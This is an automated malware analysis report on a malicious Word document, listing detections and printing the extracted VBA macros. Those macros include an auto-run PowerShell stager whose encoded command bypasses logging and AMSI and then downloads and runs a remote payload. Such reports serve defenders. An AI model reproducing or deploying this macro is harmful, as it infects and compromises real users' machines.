Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fb4819e8c1c80fa7…

MALICIOUS

Office (OLE)

436.5 KB Created: 2018-06-25 14:21:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 55678b7050abe1527eee747d273cd046 SHA-1: d764c0cf0994f935a5a5716833cf93c75b07393f SHA-256: fb4819e8c1c80fa70b5a2a17a52d9047b76b32227e34006d00b222b89c959f03
458 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

This document contains VBA macros that execute upon opening, specifically utilizing Auto_Open and Document_Open subroutines. The macros leverage WScript.Shell and PowerShell to execute a heavily encoded command, likely to download and run a second-stage payload. The presence of PowerShell and WScript.Shell calls, along with the encoded command, strongly indicates a downloader or dropper functionality.

Heuristics 13

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set OpenCMD = CreateObject("wscript.shell")
OpenCMD.Run kaka, 0, False
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    kaka = kaka & "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAHIAUwBpAE8ATgBUAEEAQgBsAGUALgBQAFMAVgBlAHIAUwBpAG8ATgAuAE0AQQBKAG8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAARgA9AFsAUgBFAEYAXQAuAEEAUwBTAEUATQBiAEwAWQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAEkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApA …
kaka = kaka & "BTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBsAD0AWwBDAG8ATABMAGUAQwB0AEkATwBuAHMALgBHAEUAbgBFAFIASQBjAC4ARABJAGMAVABJAE8AbgBhAHIAWQBbAHMAVABSAGkAbgBnACwAUwBZAHMAVABFAE0ALgBPAGIASgBlAGMAdABdAF0AOgA6AG4AZQB3ACgAKQA7ACQAdgBBAGwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHI …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set OpenCMD = CreateObject("wscript.shell")
OpenCMD.Run kaka, 0, False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("zODvep").Value <> "toto" Then
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub Auto_Open()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6905 bytes
SHA-256: 15e5429eaaa78b8a0960782d90511b97b7cf4954776ca9c4ca641455059cbbc7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("zODvep").Value <> "toto" Then
dTOiGxWLcZJgRui
ActiveDocument.Variables("zODvep").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "NewMacros"
Sub Auto_Open()

Dim OpenCMD
Dim kaka As String
kaka = ""

kaka = kaka & "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAHIAUwBpAE8ATgBUAEEAQgBsAGUALgBQAFMAVgBlAHIAUwBpAG8ATgAuAE0AQQBKAG8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAARgA9AFsAUgBFAEYAXQAuAEEAUwBTAEUATQBiAEwAWQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAEkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AGUAKAAkAG4AVQBsAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQ"
kaka = kaka & "BTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBsAD0AWwBDAG8ATABMAGUAQwB0AEkATwBuAHMALgBHAEUAbgBFAFIASQBjAC4ARABJAGMAVABJAE8AbgBhAHIAWQBbAHMAVABSAGkAbgBnACwAUwBZAHMAVABFAE0ALgBPAGIASgBlAGMAdABdAF0AOgA6AG4AZQB3ACgAKQA7ACQAdgBBAGwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAdgBBAGwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQB"
kaka = kaka & "uAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAEEAbAB9AEUATABTAGUAewBbAFMAQwBSAEkAUABUAEIATABPAEMASwBdAC4AIgBHAGUAdABGAGkAZQBgAGwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBhAGwAdQBFACgAJABOAFUAbABMACwAKABOAEUAdwAtAE8AQgBKAEUAYwB0ACAAQwBPAGwAbABlAGMAVABpAG8AbgBTAC4ARwBlAE4ARQByAGkAYwAuAEgAYQBTAEgAUwBlAFQAWwBTAFQAUgBJAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBTAEUATQBCAGwAeQAuAEcAZQBUAFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/"
kaka = kaka & "AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAEEAbAB1AGUAKAAkAG4AVQBsAEwALAAkAFQAUgBVAGUAKQB9ADsAfQA7AFsAUwB5AFMAVABlAE0ALgBOAEUAVAAuAFMARQByAFYASQBDAEUAUABPAEkAbgBUAE0AQQBOAEEAZwBlAHIAXQA6ADoARQB4AFAAZQBDAFQAMQAwADAAQwBPAG4AdABJAG4AVQBFAD0AMAA7ACQAVwBDAD0ATgBlAFcALQBPAGIASgBFAEMAdAAgAFMAWQBzAFQARQBtAC4ATgBFAHQALgBXAEUAQgBDAEwAaQBlAG4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcA"
kaka = kaka & "YwAuAEgAZQBhAGQAZQByAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAUgBvAFgAWQA9AFsAUwB5AFMAdABlAG0ALgBOAEUAdAAuAFcARQBCAFIAZQBRAHUARQBzAHQAXQA6ADoARABlAGYAQQBVAGwAdABXAEUAYgBQAHIAbwB4AHkAOwAkAHcAYwAuAFAAUgBPAHgAWQAuAEMAcgBlAGQARQBuAHQASQBhAEwAUwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBlAFQALgBDAHIARQBEAGUAbgB0AEkAQQBMAEMAYQBjAEgARQBdADoAOgBEAGUAZgBBAFUATAB0AE4ARQBUAHcATwBSAGsAQwByAGUAZABFAE4AVABJAGEAbABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwBZAHMAVABFAE0ALgBUAEUAWAB0AC4ARQBOAEMAbwBkAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQBUAGUAcwAoACcAZwA9ACoARQBkACgAbgBxAHsAIQBmAFsAfgBBAC0AaQBS"
kaka = kaka & "ADAAbAApAEsAfQBPAFoANQA3AHoAOgArAEQAbQB0ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AcwBrAHkALQBuAGUAdAAuAGMAZgA6ADgAMAAnADsAJAB0AD0A"
kaka = kaka & "JwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAVwBDAC4ASABlAGEARABlAHIAcwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0ARQBLAEYAdABjAEsANwBTAHUAOABVAGgAcwBRAG0ATQBEAEoAWABBAHoAUwBSAGsAUgBZAE0APQAiACkAOwAkAEQAYQB0AGEAPQAkAFcAQwAuAEQATwB3AE4AbABPAEEARABEAEEAVABBACgAJABzAGUAcgArACQAVAApADsAJABpAFYAPQAkAGQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAGQAYQBUAEEALgBsAEUAbgBnAFQASABdADsALQBKAG8ASQBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="

Set OpenCMD = CreateObject("wscript.shell")
OpenCMD.Run kaka, 0, False

End Sub

Attribute VB_Name = "MMXwxXF"
Private Function QMmricsyyU(aejejfEPlj As Variant, DgmHVZzuyp As Integer)
Dim tYTedyZmPg, jRhkoJwyCL As String, cILhGtQmur, ASImFWKAnd
jRhkoJwyCL = ActiveDocument.Variables("zODvep").Value()
tYTedyZmPg = ""
cILhGtQmur = 1
While cILhGtQmur < UBound(aejejfEPlj) + 2
ASImFWKAnd = cILhGtQmur Mod Len(jRhkoJwyCL): If ASImFWKAnd = 0 Then ASImFWKAnd = Len(jRhkoJwyCL)
tYTedyZmPg = tYTedyZmPg + Chr(Asc(Mid(jRhkoJwyCL, ASImFWKAnd + DgmHVZzuyp, 1)) Xor CInt(aejejfEPlj(cILhGtQmur - 1)))
cILhGtQmur = cILhGtQmur + 1
Wend
QMmricsyyU = tYTedyZmPg
End Function
Function bAYEkwErNKyjejQ(ByVal gEBrFSghjz As String) As Boolean
FileExists = (Dir(gEBrFSghjz) <> "")
End Function
Public Function dTOiGxWLcZJgRui()
zIaRLoUP = QMmricsyyU(Array(8, 59, 10, 61, 5, 43, 122, 81, 90, 95), 40)
ubjjAVRhRgAAhRZ = QMmricsyyU(Array(123, 0, 122, 121, 125, 52, 58, 120, 24, 21, 18, 105, 47, 24, 19, 35, 29, 32, 107, 5, 59, _
33, 33, 26, 47, 57, 35, 57, 27, 65, 33, 109, 69, 27, 92, 33, 106, 15, 62), 0)
RebBy = "ExcludedString"
MsgBox ubjjAVRhRgAAhRZ
FpWDRIedwudY = QMmricsyyU(Array(60, 25, 3, 39, 92, 73, 71, 39, 70, 61, 122, 3, 41, 24, 1, 125, 46, 5, 92), 61)
mKti = QMmricsyyU(Array(7, 10, 40, 19, 40, 27, 52, 69, 92, 21, 10), 50)
MsgBox FpWDRIedwudY
MsgBox mKti
End Function

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